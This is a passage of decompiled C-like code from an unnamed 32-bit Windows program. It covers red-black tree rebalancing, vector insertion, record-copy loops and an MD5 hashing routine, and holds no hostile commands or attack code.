    if ( v11 == *(_DWORD *)v12 )
    {
      v13 = *(_DWORD *)(v12 + 8);
      if ( *(_BYTE *)(v13 + 14) )
      {
        if ( v10 == *(_DWORD *)(v11 + 8) )
        {
          v10 = *(_DWORD *)(v10 + 4);
          v14 = *(_DWORD *)(v11 + 8);
          *(_DWORD *)(v10 + 8) = *(_DWORD *)v14;
          if ( !*(_BYTE *)(*(_DWORD *)v14 + 15) )
            *(_DWORD *)(*(_DWORD *)v14 + 4) = v10;
          *(_DWORD *)(v14 + 4) = *(_DWORD *)(v10 + 4);
          v15 = *(_DWORD *)(a2 + 4);
          if ( v10 == *(_DWORD *)(v15 + 4) )
          {
            *(_DWORD *)(v15 + 4) = v14;
          }
          else
          {
            v16 = *(_DWORD *)(v10 + 4);
            if ( v10 == *(_DWORD *)v16 )
              *(_DWORD *)v16 = v14;
            else
              *(_DWORD *)(v16 + 8) = v14;
          }
          *(_DWORD *)v14 = v10;
          *(_DWORD *)(v10 + 4) = v14;
        }
        *(_BYTE *)(*(_DWORD *)(v10 + 4) + 14) = 1;
        *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v10 + 4) + 4) + 14) = 0;
        v17 = *(_DWORD *)(*(_DWORD *)(v10 + 4) + 4);
        v19 = *(_DWORD *)v17;
        *(_DWORD *)v17 = *(_DWORD *)(*(_DWORD *)v17 + 8);
        v18 = *(_DWORD *)(v19 + 8);
        if ( !*(_BYTE *)(v18 + 15) )
          *(_DWORD *)(v18 + 4) = v17;
        *(_DWORD *)(v19 + 4) = *(_DWORD *)(v17 + 4);
        v20 = *(_DWORD *)(a2 + 4);
        if ( v17 == *(_DWORD *)(v20 + 4) )
        {
          *(_DWORD *)(v20 + 4) = v19;
          *(_DWORD *)(v19 + 8) = v17;
        }
        else
        {
          v21 = *(_DWORD *)(v17 + 4);
          if ( v17 == *(_DWORD *)(v21 + 8) )
          {
            *(_DWORD *)(v21 + 8) = v19;
            *(_DWORD *)(v19 + 8) = v17;
          }
          else
          {
            *(_DWORD *)v21 = v19;
            *(_DWORD *)(v19 + 8) = v17;
          }
        }
LABEL_49:
        v7 = a5;
        *(_DWORD *)(v17 + 4) = v19;
        continue;
      }
      *(_BYTE *)(v11 + 14) = 1;
      *(_BYTE *)(v13 + 14) = 1;
      *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v10 + 4) + 4) + 14) = 0;
      v10 = *(_DWORD *)(*(_DWORD *)(v10 + 4) + 4);
    }
    else
    {
      v22 = *(_DWORD *)v12;
      if ( *(_BYTE *)(v22 + 14) )
      {
        if ( v10 == *(_DWORD *)v11 )
        {
          v10 = *(_DWORD *)(v10 + 4);
          v23 = *(_DWORD *)v11;
          *(_DWORD *)v10 = *(_DWORD *)(v23 + 8);
          v24 = *(_DWORD *)(v23 + 8);
          if ( !*(_BYTE *)(v24 + 15) )
            *(_DWORD *)(v24 + 4) = v10;
          *(_DWORD *)(v23 + 4) = *(_DWORD *)(v10 + 4);
          v25 = *(_DWORD *)(a2 + 4);
          if ( v10 == *(_DWORD *)(v25 + 4) )
          {
            *(_DWORD *)(v25 + 4) = v23;
          }
          else
          {
            v26 = *(_DWORD *)(v10 + 4);
            if ( v10 == *(_DWORD *)(v26 + 8) )
              *(_DWORD *)(v26 + 8) = v23;
            else
              *(_DWORD *)v26 = v23;
          }
          *(_DWORD *)(v23 + 8) = v10;
          *(_DWORD *)(v10 + 4) = v23;
        }
        *(_BYTE *)(*(_DWORD *)(v10 + 4) + 14) = 1;
        *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v10 + 4) + 4) + 14) = 0;
        v17 = *(_DWORD *)(*(_DWORD *)(v10 + 4) + 4);
        v19 = *(_DWORD *)(v17 + 8);
        *(_DWORD *)(v17 + 8) = *(_DWORD *)v19;
        if ( !*(_BYTE *)(*(_DWORD *)v19 + 15) )
          *(_DWORD *)(*(_DWORD *)v19 + 4) = v17;
        *(_DWORD *)(v19 + 4) = *(_DWORD *)(v17 + 4);
        v27 = *(_DWORD *)(a2 + 4);
        if ( v17 == *(_DWORD *)(v27 + 4) )
        {
          *(_DWORD *)(v27 + 4) = v19;
        }
        else
        {
          v28 = *(_DWORD *)(v17 + 4);
          if ( v17 == *(_DWORD *)v28 )
            *(_DWORD *)v28 = v19;
          else
            *(_DWORD *)(v28 + 8) = v19;
        }
        *(_DWORD *)v19 = v17;
        goto LABEL_49;
      }
      *(_BYTE *)(v11 + 14) = 1;
      *(_BYTE *)(v22 + 14) = 1;
      *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v10 + 4) + 4) + 14) = 0;
      v10 = *(_DWORD *)(*(_DWORD *)(v10 + 4) + 4);
    }
  }
  v30 = *(_DWORD *)(*(_DWORD *)(a2 + 4) + 4);
  result = a3;
  *(_DWORD *)a3 = v7;
  *(_BYTE *)(v30 + 14) = 1;
  return result;
}

//----- (0041A8F0) --------------------------------------------------------
int __usercall sub_41A8F0<eax>(int result<eax>)
{
  int v1; // ecx@1
  int v2; // edx@3
  int j; // ecx@4
  int i; // ecx@7

  v1 = *(_DWORD *)result;
  if ( *(_BYTE *)(*(_DWORD *)result + 197) )
  {
    *(_DWORD *)result = *(_DWORD *)(v1 + 8);
  }
  else
  {
    v2 = *(_DWORD *)v1;
    if ( *(_BYTE *)(*(_DWORD *)v1 + 197) )
    {
      for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 197); i = *(_DWORD *)(i + 4) )
      {
        if ( *(_DWORD *)result != *(_DWORD *)i )
          break;
        *(_DWORD *)result = i;
      }
      if ( !*(_BYTE *)(*(_DWORD *)result + 197) )
        *(_DWORD *)result = i;
    }
    else
    {
      for ( j = *(_DWORD *)(v2 + 8); !*(_BYTE *)(j + 197); j = *(_DWORD *)(j + 8) )
        v2 = j;
      *(_DWORD *)result = v2;
    }
  }
  return result;
}

//----- (0041A970) --------------------------------------------------------
int __usercall sub_41A970<eax>(int result<eax>)
{
  int v1; // ecx@1
  int v2; // edx@3
  int j; // ecx@4
  int i; // ecx@7

  v1 = *(_DWORD *)result;
  if ( *(_BYTE *)(*(_DWORD *)result + 15) )
  {
    *(_DWORD *)result = *(_DWORD *)(v1 + 8);
  }
  else
  {
    v2 = *(_DWORD *)v1;
    if ( *(_BYTE *)(*(_DWORD *)v1 + 15) )
    {
      for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 15); i = *(_DWORD *)(i + 4) )
      {
        if ( *(_DWORD *)result != *(_DWORD *)i )
          break;
        *(_DWORD *)result = i;
      }
      if ( !*(_BYTE *)(*(_DWORD *)result + 15) )
        *(_DWORD *)result = i;
    }
    else
    {
      for ( j = *(_DWORD *)(v2 + 8); !*(_BYTE *)(j + 15); j = *(_DWORD *)(j + 8) )
        v2 = j;
      *(_DWORD *)result = v2;
    }
  }
  return result;
}

//----- (0041A9D0) --------------------------------------------------------
int __userpurge sub_41A9D0<eax>(int result<eax>, int a2<esi>, int a3, void *Src, int a5)
{
  size_t v5; // ebx@1
  int v6; // eax@2
  const void *v7; // edx@2
  int v8; // edx@4
  unsigned int v9; // ecx@4
  unsigned int v10; // ecx@6
  unsigned int v11; // edi@10
  int v12; // eax@10
  int v13; // edi@10
  size_t v14; // ST20_4@10
  const void *v15; // ST1C_4@10
  void *v16; // eax@10
  void *v17; // eax@10
  int v18; // ecx@12
  size_t Size; // [sp+Ch] [bp-8h]@1
  int v20; // [sp+10h] [bp-4h]@4
  int v21; // [sp+4h] [bp-10h]@10

  v5 = result - (_DWORD)Src;
  Size = result - (_DWORD)Src;
  if ( result != (_DWORD)Src )
  {
    v7 = *(const void **)a2;
    v6 = *(_DWORD *)(a2 + 4);
    if ( *(_DWORD *)a2 - v6 - 1 < v5 )
      v6 = std___Xlength_error("vector<T> too long");
    v20 = v5 + v6 - (_DWORD)v7;
    v9 = *(_DWORD *)(a2 + 8) - (_DWORD)v7;
    v8 = v5 + v6 - (_DWORD)v7;
    if ( v9 >= v8 )
    {
      memmove((void *)v6, Src, v5);
      result = *(_DWORD *)(a2 + 4);
      if ( a3 != result )
      {
        if ( v5 )
          result = sub_41D2D0(result, result + v5, a3);
      }
      *(_DWORD *)(a2 + 4) += v5;
    }
    else
    {
      if ( -1 - (v9 >> 1) >= v9 )
      {
        v10 = (v9 >> 1) + v9;
        v20 = v10;
      }
      else
      {
        v20 = 0;
        v10 = 0;
      }
      if ( v10 < v8 )
      {
        v20 = v8;
        v10 = v8;
      }
      v12 = sub_405DA0(v10);
      v13 = a3 - *(_DWORD *)a2;
      v14 = a3 - *(_DWORD *)a2;
      v15 = *(const void **)a2;
      v21 = v12;
      v16 = (char *)memmove((void *)v12, v15, v14) + v13;
      v17 = memmove(v16, Src, Size);
      memmove((char *)v17 + Size, (const void *)a3, *(_DWORD *)(a2 + 4) - a3);
      v11 = *(_DWORD *)(a2 + 4) - *(_DWORD *)a2 + Size;
      if ( *(_DWORD *)a2 )
        operator delete(*(_DWORD *)a2);
      result = v21;
      v18 = v21 + v11;
      *(_DWORD *)(a2 + 8) = v21 + v20;
      *(_DWORD *)(a2 + 4) = v18;
      *(_DWORD *)a2 = result;
    }
  }
  return result;
}

//----- (0041AB50) --------------------------------------------------------
int __fastcall sub_41AB50(int a1, void *a2, int a3, int a4, int a5)
{
  int v2; // [sp+0h] [bp-20h]@1
  int *v3; // [sp+10h] [bp-10h]@1
  int v4; // [sp+1Ch] [bp-4h]@1

  v3 = &v2;
  v4 = 0;
  return sub_41A9D0(a4, a3, *(_DWORD *)a3, a2, a3);
}

//----- (0041ABC0) --------------------------------------------------------
int __usercall sub_41ABC0<eax>(int a1<ecx>, int a2<edx>, int a3<eax>, int a4)
{
  int v3; // esi@1
  int v4; // edi@2
  int v5; // eax@3
  signed int v6; // edx@3
  int v8; // edx@5

  v3 = a1;
  if ( a3 != a4 )
  {
    v4 = a3 + 56;
    do
    {
      sub_401600(v3, -1, 0, v4 - 56);
      sub_401600(v3 + 28, -1, 0, v4 - 28);
      *(_WORD *)(v3 + 56) = *(_WORD *)v4;
      sub_401600(v3 + 60, -1, 0, v4 + 4);
      *(_WORD *)(v3 + 88) = *(_WORD *)(v4 + 32);
      *(_BYTE *)(v3 + 90) = *(_BYTE *)(v4 + 34);
      *(_DWORD *)(v3 + 92) = *(_DWORD *)(v4 + 36);
      *(_DWORD *)(v3 + 96) = *(_DWORD *)(v4 + 40);
      *(_DWORD *)(v3 + 100) = *(_DWORD *)(v4 + 44);
      *(_BYTE *)(v3 + 104) = *(_BYTE *)(v4 + 48);
      *(_WORD *)(v3 + 106) = *(_WORD *)(v4 + 50);
      *(_BYTE *)(v3 + 108) = *(_BYTE *)(v4 + 52);
      v5 = v3 + 109;
      v6 = 16;
      do
      {
        *(_BYTE *)v5 = *(_BYTE *)(v4 - 56 - v3 + v5);
        ++v5;
        --v6;
      }
      while ( v6 );
      sub_405570(v4 + 72, v3 + 128);
      *(_DWORD *)(v3 + 144) = *(_DWORD *)(v4 + 88);
      *(_DWORD *)(v3 + 148) = *(_DWORD *)(v4 + 92);
      *(_BYTE *)(v3 + 152) = *(_BYTE *)(v4 + 96);
      *(_DWORD *)(v3 + 156) = *(_DWORD *)(v4 + 100);
      sub_401600(v3 + 160, -1, 0, v4 + 104);
      sub_401600(v3 + 188, -1, 0, v4 + 132);
      *(_BYTE *)(v3 + 216) = *(_BYTE *)(v4 + 160);
      *(_BYTE *)(v3 + 217) = *(_BYTE *)(v4 + 161);
      *(_BYTE *)(v3 + 218) = *(_BYTE *)(v4 + 162);
      sub_401600(v3 + 220, -1, 0, v4 + 164);
      sub_401600(v3 + 248, -1, 0, v4 + 192);
      sub_401600(v3 + 276, -1, 0, v4 + 220);
      sub_401600(v3 + 304, -1, 0, v4 + 248);
      sub_401600(v3 + 332, -1, 0, v4 + 276);
      *(_DWORD *)(v3 + 360) = *(_DWORD *)(v4 + 304);
      v8 = *(_DWORD *)(v4 + 308);
      v4 += 368;
      *(_DWORD *)(v3 + 364) = v8;
      v3 += 368;
    }
    while ( v4 - 56 != a4 );
  }
  return v3;
}

//----- (0041AE70) --------------------------------------------------------
int __usercall sub_41AE70<eax>(int result<eax>, int a2<edi>)
{
  int v2; // esi@2

  if ( result != a2 )
  {
    v2 = result + 24;
    do
    {
      if ( *(_DWORD *)v2 >= 0x10u )
        result = operator delete(*(_DWORD *)(v2 - 20));
      *(_DWORD *)v2 = 15;
      *(_DWORD *)(v2 - 4) = 0;
      *(_BYTE *)(v2 - 20) = 0;
      v2 += 32;
    }
    while ( v2 - 24 != a2 );
  }
  return result;
}

//----- (0041AEB0) --------------------------------------------------------
int __thiscall sub_41AEB0(int this, int a2, int a3)
{
  int v3; // edi@1
  int v4; // esi@1
  int v6; // [sp+0h] [bp-24h]@1
  int *v7; // [sp+14h] [bp-10h]@1
  int v8; // [sp+10h] [bp-14h]@1
  int v9; // [sp+20h] [bp-4h]@1

  v7 = &v6;
  v4 = a3;
  v3 = this;
  v8 = a3;
  v9 = 0;
  while ( v3 != a2 )
  {
    LOBYTE(v9) = 1;
    if ( v4 )
      sub_40CA40(v3, v4);
    v4 += 368;
    a3 = v4;
    v3 += 368;
  }
  return v4;
}

//----- (0041AF50) --------------------------------------------------------
int __thiscall sub_41AF50(int this, int a2, int a3)
{
  int v3; // eax@1
  int v4; // edi@1
  int v5; // esi@1
  int v7; // [sp+0h] [bp-24h]@1
  int *v8; // [sp+14h] [bp-10h]@1
  int v9; // [sp+10h] [bp-14h]@1
  int v10; // [sp+20h] [bp-4h]@1

  v8 = &v7;
  v5 = a3;
  v4 = this;
  v3 = 0;
  v9 = a3;
  v10 = 0;
  while ( v4 != a2 )
  {
    LOBYTE(v10) = 1;
    if ( v5 != v3 )
    {
      *(_WORD *)v5 = *(_WORD *)v4;
      *(_DWORD *)(v5 + 20) = v3;
      *(_DWORD *)(v5 + 24) = 15;
      *(_BYTE *)(v5 + 4) = v3;
      sub_401600(v5 + 4, -1, 0, v4 + 4);
      v3 = 0;
    }
    v5 += 32;
    a3 = v5;
    v4 += 32;
  }
  return v5;
}

//----- (0041B000) --------------------------------------------------------
int __usercall sub_41B000<eax>(int result<eax>, int a2<edx>, int a3<ecx>)
{
  for ( ; a3 != a2; result += 4 )
  {
    if ( result )
    {
      *(_WORD *)result = *(_WORD *)a3;
      *(_WORD *)(result + 2) = *(_WORD *)(a3 + 2);
    }
    a3 += 4;
  }
  return result;
}

//----- (0041B030) --------------------------------------------------------
int __usercall sub_41B030<eax>(int a1<esi>)
{
  int result; // eax@1

  result = *(_DWORD *)(a1 + 12);
  if ( result )
    result = operator delete(*(_DWORD *)(a1 + 12));
  *(_DWORD *)(a1 + 12) = 0;
  *(_DWORD *)(a1 + 16) = 0;
  *(_DWORD *)(a1 + 20) = 0;
  return result;
}

//----- (0041B060) --------------------------------------------------------
int __usercall sub_41B060<eax>(int a1<eax>, int a2)
{
  int result; // eax@1
  int v3; // edx@1
  int v4; // esi@1
  int v5; // edi@1
  int v6; // ecx@1
  int v7; // ecx@1
  int v8; // edx@1
  int v9; // edx@1
  int v10; // edi@1
  int v11; // edi@1
  int v12; // esi@1
  int v13; // esi@1
  int v14; // ebx@1
  int v15; // edi@1
  int v16; // ecx@1
  int v17; // ecx@1
  int v18; // edi@1
  int v19; // edx@1
  int v20; // edx@1
  int v21; // ecx@1
  int v22; // ecx@1
  int v23; // esi@1
  int v24; // esi@1
  int v25; // edi@1
  int v26; // edi@1
  int v27; // ebx@1
  int v28; // esi@1
  int v29; // edx@1
  int v30; // edx@1
  int v31; // ecx@1
  int v32; // ecx@1
  int v33; // esi@1
  int v34; // esi@1
  int v35; // ebx@1
  int v36; // ecx@1
  int v37; // edi@1
  int v38; // edi@1
  int v39; // ecx@1
  int v40; // edi@1
  int v41; // ecx@1
  int v42; // eax@1
  int v43; // edx@1
  int v44; // edx@1
  int v45; // ecx@1
  int v46; // ecx@1
  int v47; // esi@1
  int v48; // esi@1
  int v49; // edi@1
  int v50; // edi@1
  int v51; // edx@1
  int v52; // edx@1
  int v53; // ecx@1
  int v54; // ecx@1
  int v55; // esi@1
  int v56; // esi@1
  int v57; // edi@1
  int v58; // edx@1
  int v59; // edx@1
  int v60; // ecx@1
  int v61; // ecx@1
  int v62; // esi@1
  int v63; // esi@1
  int v64; // eax@1
  int v65; // edx@1
  int v66; // eax@1
  int v67; // edx@1
  int v68; // ecx@1
  int v69; // ecx@1
  int v70; // esi@1
  int v71; // esi@1
  int v72; // eax@1
  int v73; // edx@1
  int v74; // eax@1
  int v75; // edx@1
  int v76; // ecx@1
  int v77; // ecx@1
  int v78; // esi@1
  int v79; // esi@1
  int v80; // eax@1
  int v81; // eax@1
  int v82; // edx@1
  int v83; // edx@1
  int v84; // ecx@1
  int v85; // ecx@1
  int v86; // esi@1
  int v87; // esi@1
  int v88; // eax@1
  int v89; // eax@1
  int v90; // edx@1
  int v91; // edx@1
  int v92; // edi@1
  int v93; // edi@1
  int v94; // ecx@1
  int v95; // ecx@1
  int v96; // eax@1
  int v97; // eax@1
  int v98; // edx@1
  int v99; // edx@1
  int v100; // esi@1
  int v101; // esi@1
  int v102; // ecx@1
  int v103; // ecx@1
  int v104; // eax@1
  int v105; // eax@1
  int v106; // edx@1
  int v107; // edx@1
  int v108; // esi@1
  int v109; // esi@1
  int v110; // ecx@1
  int v111; // ecx@1
  int v112; // eax@1
  int v113; // eax@1
  int v114; // edx@1
  int v115; // edx@1
  int v116; // esi@1
  int v117; // esi@1
  int v118; // ecx@1
  int v119; // ecx@1
  int v120; // eax@1
  int v121; // eax@1
  int v122; // edx@1
  int v123; // edx@1
  int v124; // esi@1
  int v125; // esi@1
  int v126; // ecx@1
  int v127; // ecx@1
  int v128; // eax@1
  int v129; // eax@1
  int v130; // edx@1
  int v131; // edx@1
  int v132; // esi@1
  int v133; // esi@1
  int v134; // ecx@1
  int v135; // ecx@1
  int v136; // eax@1
  int v137; // eax@1
  int v138; // edi@1
  int v139; // edi@1
  int v140; // ebx@1
  int v141; // esi@1
  int v142; // esi@1
  int v143; // eax@1
  int v144; // eax@1
  int v145; // [sp+48h] [bp-Ch]@1
  int v146; // [sp+10h] [bp-44h]@1
  int v147; // [sp+38h] [bp-1Ch]@1
  int v148; // [sp+28h] [bp-2Ch]@1
  int v149; // [sp+40h] [bp-14h]@1
  int v150; // [sp+4Ch] [bp-8h]@1
  int v151; // [sp+50h] [bp-4h]@1
  int v152; // [sp+14h] [bp-40h]@1
  int v153; // [sp+20h] [bp-34h]@1
  int v154; // [sp+30h] [bp-24h]@1
  int v155; // [sp+24h] [bp-30h]@1
  int v156; // [sp+34h] [bp-20h]@1
  int v157; // [sp+18h] [bp-3Ch]@1
  int v158; // [sp+3Ch] [bp-18h]@1
  int v159; // [sp+2Ch] [bp-28h]@1
  int v160; // [sp+1Ch] [bp-38h]@1
  int v161; // [sp+44h] [bp-10h]@1
  signed int v162; // [sp+Ch] [bp-48h]@1

  v3 = *(_DWORD *)(a2 + 12);
  v145 = *(_DWORD *)a1;
  v4 = *(_DWORD *)(a2 + 4);
  v146 = v3;
  v5 = *(_DWORD *)(a2 + 8);
  v6 = __ROL__(v145 + (v4 & v5 | v3 & ~v4) + *(_DWORD *)a2 - 680876936, 7);
  v7 = v4 + v6;
  v147 = *(_DWORD *)(a1 + 4);
  v148 = *(_DWORD *)(a1 + 8);
  v8 = __ROL__(v147 + (v7 & v4 | v5 & ~v7) + v3 - 389564586, 12);
  v9 = v7 + v8;
  v10 = __ROR__(v148 + (v7 & v9 | v4 & ~v9) + v5 + 606105819, 15);
  v11 = v9 + v10;
  v149 = *(_DWORD *)(a1 + 12);
  v12 = __ROR__(v149 + (v11 & v9 | v7 & ~v11) + *(_DWORD *)(a2 + 4) - 1044525330, 10);
  v13 = v11 + v12;
  v150 = v11;
  v14 = v13 & v11 | v9 & ~v13;
  v15 = *(_DWORD *)(a1 + 16);
  v16 = __ROL__(v15 + v14 + v7 - 176418897, 7);
  v17 = v13 + v16;
  v151 = v17;
  v152 = v15;
  v18 = *(_DWORD *)(a1 + 20);
  v153 = *(_DWORD *)(a1 + 20);
  v19 = __ROL__(v18 + (v17 & v13 | v150 & ~v17) + v9 + 1200080426, 12);
  v20 = v17 + v19;
  v154 = *(_DWORD *)(a1 + 24);
  v21 = __ROR__(v154 + (v17 & v20 | v13 & ~v20) + v150 - 1473231341, 15);
  v22 = v20 + v21;
  v23 = __ROR__(*(_DWORD *)(a1 + 28) + (v22 & v20 | v151 & ~v22) + v13 - 45705983, 10);
  v24 = v22 + v23;
  v155 = *(_DWORD *)(a1 + 28);
  v156 = *(_DWORD *)(a1 + 32);
  v157 = v24;
  v25 = __ROL__(v156 + (v24 & v22 | v20 & ~v24) + v151 + 1770035416, 7);
  v26 = v24 + v25;
  v27 = v26 & v24 | v22 & ~v26;
  v28 = *(_DWORD *)(a1 + 36);
  v146 = *(_DWORD *)(a1 + 36);
  v158 = *(_DWORD *)(a1 + 40);
  v29 = __ROL__(v28 + v27 + v20 - 1958414417, 12);
  v30 = v26 + v29;
  v159 = *(_DWORD *)(a1 + 44);
  v31 = __ROR__(v158 + (v26 & v30 | v157 & ~v30) + v22 - 42063, 15);
  v32 = v30 + v31;
  v33 = __ROR__(v159 + (v32 & v30 | v26 & ~v32) + v157 - 1990404162, 10);
  v34 = v32 + v33;
  v150 = v32;
  v35 = v34 & v32 | v30 & ~v34;
  v36 = *(_DWORD *)(a1 + 48);
  v37 = __ROL__(v36 + v35 + v26 + 1804603682, 7);
  v38 = v34 + v37;
  v151 = v38;
  v160 = v36;
  v39 = *(_DWORD *)(a1 + 52);
  v157 = *(_DWORD *)(a1 + 52);
  v40 = v39 + (v38 & v34 | v150 & ~v38);
  v41 = *(_DWORD *)(a1 + 56);
  v42 = *(_DWORD *)(a1 + 60);
  v43 = __ROL__(v40 + v30 - 40341101, 12);
  v44 = v151 + v43;
  v161 = v41;
  v45 = v41 + (v151 & v44 | v34 & ~v44) + v150 - 1502002290;
  v150 = v42;
  v45 = __ROR__(v45, 15);
  v46 = v44 + v45;
  v162 = ~v46;
  v47 = __ROR__(v42 + (v46 & v44 | v151 & ~v46) + v34 + 1236535329, 10);
  v48 = v46 + v47;
  v49 = __ROL__(v147 + (v48 & v44 | v46 & ~v44) + v151 - 165796510, 5);
  v50 = v48 + v49;
  v51 = __ROL__(v154 + (v50 & v46 | v48 & ~v46) + v44 - 1069501632, 9);
  v52 = v50 + v51;
  v53 = __ROL__(v159 + (v48 & v52 | v50 & ~v48) + v46 + 643717713, 14);
  v54 = v52 + v53;
  v55 = __ROR__(v145 + (v50 & v54 | v52 & ~v50) + v48 - 373897302, 12);
  v56 = v54 + v55;
  v57 = __ROL__(v153 + (v56 & v52 | v54 & ~v52) + v50 - 701558691, 5);
  v151 = v56 + v57;
  v58 = __ROL__(v158 + ((v56 + v57) & v54 | v56 & ~v54) + v52 + 38016083, 9);
  v59 = v56 + v57 + v58;
  v60 = __ROL__(v42 + (v56 & v59 | (v56 + v57) & ~v56) + v54 - 660478335, 14);
  v61 = v59 + v60;
  v62 = __ROR__(v152 + ((v56 + v57) & v61 | v59 & ~(v56 + v57)) + v56 - 405537848, 12);
  v63 = v61 + v62;
  v64 = __ROL__(v146 + (v63 & v59 | v61 & ~v59) + v151 + 568446438, 5);
  v151 = v63 + v64;
  v65 = v161 + ((v63 + v64) & v61 | v63 & ~v61) + v59 - 1019803690;
  v66 = v63 + v64;
  v65 = __ROL__(v65, 9);
  v67 = v66 + v65;
  v68 = __ROL__(v149 + (v63 & v67 | v66 & ~v63) + v61 - 187363961, 14);
  v69 = v67 + v68;
  v70 = __ROR__(v156 + (v151 & v69 | v67 & ~v66) + v63 + 1163531501, 12);
  v71 = v69 + v70;
  v72 = __ROL__(v157 + (v71 & v67 | v69 & ~v67) + v151 - 1444681467, 5);
  v151 = v71 + v72;
  v73 = v148 + ((v71 + v72) & v69 | v71 & ~v69) + v67 - 51403784;
  v74 = v71 + v72;
  v73 = __ROL__(v73, 9);
  v75 = v74 + v73;
  v76 = __ROL__(v155 + (v71 & v75 | v74 & ~v71) + v69 + 1735328473, 14);
  v77 = v75 + v76;
  v78 = __ROR__(v160 + (v151 & v77 | v75 & ~v74) + v71 - 1926607734, 12);
  v79 = v77 + v78;
  v80 = __ROL__(v153 + (v79 ^ v77 ^ v75) + v151 - 378558, 4);
  v81 = v79 + v80;
  v82 = __ROL__(v156 + (v81 ^ v79 ^ v77) + v75 - 2022574463, 11);
  v83 = v81 + v82;
  v84 = __ROL__(v159 + (v81 ^ v79 ^ v83) + v77 + 1839030562, 16);
  v85 = v83 + v84;
  v86 = __ROR__(v161 + (v81 ^ v85 ^ v83) + v79 - 35309556, 9);
  v87 = v85 + v86;
  v88 = __ROL__(v147 + (v87 ^ v85 ^ v83) + v81 - 1530992060, 4);
  v89 = v87 + v88;
  v90 = __ROL__(v152 + (v89 ^ v87 ^ v85) + v83 + 1272893353, 11);
  v91 = v89 + v90;
  v92 = __ROL__(v155 + (v89 ^ v87 ^ v91) + v85 - 155497632, 16);
  v93 = v91 + v92;
  v94 = __ROR__(v158 + (v89 ^ v93 ^ v91) + v87 - 1094730640, 9);
  v95 = v93 + v94;
  v96 = __ROL__(v157 + (v95 ^ v93 ^ v91) + v89 + 681279174, 4);
  v97 = v95 + v96;
  v98 = __ROL__(v145 + (v97 ^ v95 ^ v93) + v91 - 358537222, 11);
  v99 = v97 + v98;
  v100 = __ROL__(v149 + (v97 ^ v95 ^ v99) + v93 - 722521979, 16);
  v101 = v99 + v100;
  v102 = __ROR__(v154 + (v97 ^ v101 ^ v99) + v95 + 76029189, 9);
  v103 = v101 + v102;
  v104 = __ROL__(v146 + (v103 ^ v101 ^ v99) + v97 - 640364487, 4);
  v105 = v103 + v104;
  v106 = __ROL__(v160 + (v105 ^ v103 ^ v101) + v99 - 421815835, 11);
  v107 = v105 + v106;
  v108 = __ROL__(v150 + (v105 ^ v103 ^ v107) + v101 + 530742520, 16);
  v109 = v107 + v108;
  v110 = __ROR__(v148 + (v105 ^ v109 ^ v107) + v103 - 995338651, 9);
  v111 = v109 + v110;
  v112 = __ROL__(v145 + (v109 ^ (v111 | ~v107)) + v105 - 198630844, 6);
  v113 = v111 + v112;
  v114 = __ROL__(v155 + (v111 ^ (v113 | ~v109)) + v107 + 1126891415, 10);
  v115 = v113 + v114;
  v116 = __ROL__(v161 + (v113 ^ (v115 | ~v111)) + v109 - 1416354905, 15);
  v117 = v115 + v116;
  v118 = __ROR__(v153 + (v115 ^ (v117 | ~v113)) + v111 - 57434055, 11);
  v119 = v117 + v118;
  v120 = __ROL__(v160 + (v117 ^ (v119 | ~v115)) + v113 + 1700485571, 6);
  v121 = v119 + v120;
  v122 = __ROL__(v149 + (v119 ^ (v121 | ~v117)) + v115 - 1894986606, 10);
  v123 = v121 + v122;
  v124 = __ROL__(v158 + (v121 ^ (v123 | ~v119)) + v117 - 1051523, 15);
  v125 = v123 + v124;
  v126 = __ROR__(v147 + (v123 ^ (v125 | ~v121)) + v119 - 2054922799, 11);
  v127 = v125 + v126;
  v128 = __ROL__(v156 + (v125 ^ (v127 | ~v123)) + v121 + 1873313359, 6);
  v129 = v127 + v128;
  v130 = __ROL__(v150 + (v127 ^ (v129 | ~v125)) + v123 - 30611744, 10);
  v131 = v129 + v130;
  v132 = __ROL__(v154 + (v129 ^ (v131 | ~v127)) + v125 - 1560198380, 15);
  v133 = v131 + v132;
  v134 = __ROR__(v157 + (v131 ^ (v133 | ~v129)) + v127 + 1309151649, 11);
  v135 = v133 + v134;
  v136 = __ROL__(v152 + (v133 ^ (v135 | ~v131)) + v129 - 145523070, 6);
  v137 = v135 + v136;
  v138 = __ROL__(v159 + (v135 ^ (v137 | ~v133)) + v131 - 1120210379, 10);
  v139 = v137 + v138;
  v140 = v137 + *(_DWORD *)a2;
  v141 = __ROL__(v148 + (v137 ^ (v139 | ~v135)) + v133 + 718787259, 15);
  v142 = v139 + v141;
  v143 = v146 + (v139 ^ (v142 | ~v137));
  *(_DWORD *)a2 = v140;
  v144 = __ROR__(v143 + v135 - 343485551, 11);
  *(_DWORD *)(a2 + 4) += v142 + v144;
  *(_DWORD *)(a2 + 8) += v142;
  result = v139 + *(_DWORD *)(a2 + 12);
  *(_DWORD *)(a2 + 12) = result;
  return result;
}

//----- (0041B760) --------------------------------------------------------
int __usercall sub_41B760<eax>(unsigned int a1<ecx>, int a2<esi>, int a3)
{
  int result; // eax@1
  int v4; // edx@1
  unsigned int v5; // edi@1
  int v6; // eax@5
  unsigned int v7; // ecx@5
  int v8; // ecx@4
  int v9; // ebx@6
  int v10; // edx@6
  int v11; // ebx@6
  int v12; // edx@6
  int v13; // ebx@6
  int  s; // [sp+48h] [bp+0h]@1
  unsigned int v15; // [sp+44h] [bp-4h]@1
  int v16; // [sp+4h] [bp-44h]@6
  int v17; // [sp+8h] [bp-40h]@6
  int v18; // [sp+Ch] [bp-3Ch]@6
  _DWORD v19[13]; // [sp+10h] [bp-38h]@6

  v15 = (unsigned int)& s ^ dword_426018;
  v5 = a1;
  v4 = *(_DWORD *)a2 + 8 * a1;
  result = (*(_DWORD *)a2 >> 3) & 0x3F;
  if ( (unsigned int)v4 < *(_DWORD *)a2 )
    ++*(_DWORD *)(a2 + 4);
  *(_DWORD *)(a2 + 4) += a1 >> 29;
  *(_DWORD *)a2 = v4;
  if ( a1 )
  {
    do
    {
      v8 = a3;
      *(_BYTE *)(a2 + result++ + 24) = *(_BYTE *)a3;
      --v5;
      a3 = v8 + 1;
      if ( result == 64 )
      {
        v6 = a2 + 26;
        v7 = 0;
        do
        {
          v9 = *(_BYTE *)(v6 + 4);
